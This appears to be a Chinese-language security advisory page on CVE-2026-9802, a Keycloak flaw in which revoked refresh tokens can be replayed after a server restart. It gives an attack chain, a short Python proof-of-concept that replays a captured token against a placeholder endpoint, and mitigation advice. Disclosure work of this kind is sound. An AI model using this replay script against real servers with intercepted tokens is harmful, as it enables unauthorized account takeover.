IPBUF安全漏洞报告
English
CVE-2026-9802 CVSS 6.8 中危

CVE-2026-9802 Keycloak刷新令牌重放漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9802
漏洞类型
逻辑漏洞
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

Keycloak身份认证绕过逻辑漏洞重放攻击

漏洞概述

Keycloak在启用revokeRefreshToken=true并使用持久化会话存储时存在安全漏洞。当服务器发生重启时,内部计时机制重置,导致无法正确验证已撤销的刷新令牌。攻击者可利用此前截获的令牌在重启后重放攻击,获取未授权访问权限。

技术细节

该漏洞源于Keycloak在特定配置下处理会话状态的逻辑缺陷。当系统配置为撤销刷新令牌并使用持久化存储时,服务器重启会破坏令牌生命周期的时间戳校验机制。攻击者无需认证即可利用此缺陷,通过重放已捕获的刷新令牌绕过撤销检查。由于CVSS显示机密性和完整性影响均为高,攻击者成功利用后可完全接管受害者账户,导致信息泄露或权限提升。

攻击链分析

STEP 1
1. 令牌窃取
攻击者利用中间人攻击或其他方式截获合法用户的刷新令牌。
STEP 2
2. 触发条件
等待目标Keycloak服务器执行重启操作,导致内部计时机制重置。
STEP 3
3. 重放攻击
攻击者使用已窃取的刷新令牌向授权服务器申请新的访问令牌。
STEP 4
4. 获取权限
由于验证逻辑失效,服务器颁发新令牌,攻击者获得对用户账户的未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-9802: Refresh Token Replay after Restart # Target: Keycloak instance with revokeRefreshToken=true and persistent sessions TARGET = "https://target-keycloak.com/realms/master/protocol/openid-connect/token" CLIENT_ID = "security-admin-console" # The captured refresh token that was revoked before the server restart CAPTURED_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJ..." def exploit(): headers = {"Content-Type": "application/x-www-form-urlencoded"} data = { "client_id": CLIENT_ID, "grant_type": "refresh_token", "refresh_token": CAPTURED_TOKEN } print("[+] Attempting to replay revoked token...") response = requests.post(TARGET, data=data, headers=headers) if response.status_code == 200: print("[+] Success! Server accepted the revoked token.") print("[+] Access Token:", response.json().get("access_token")[:50] + "...") else: print("[-] Failed. Server rejected the token.") print(response.text) if __name__ == "__main__": exploit()

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在官方补丁未应用前,建议管理员尽量避免计划性服务器重启。若必须重启,应考虑在重启后强制所有用户重新登录,以使可能存在的旧令牌彻底失效。同时,加强网络流量监控,检测异常的认证请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表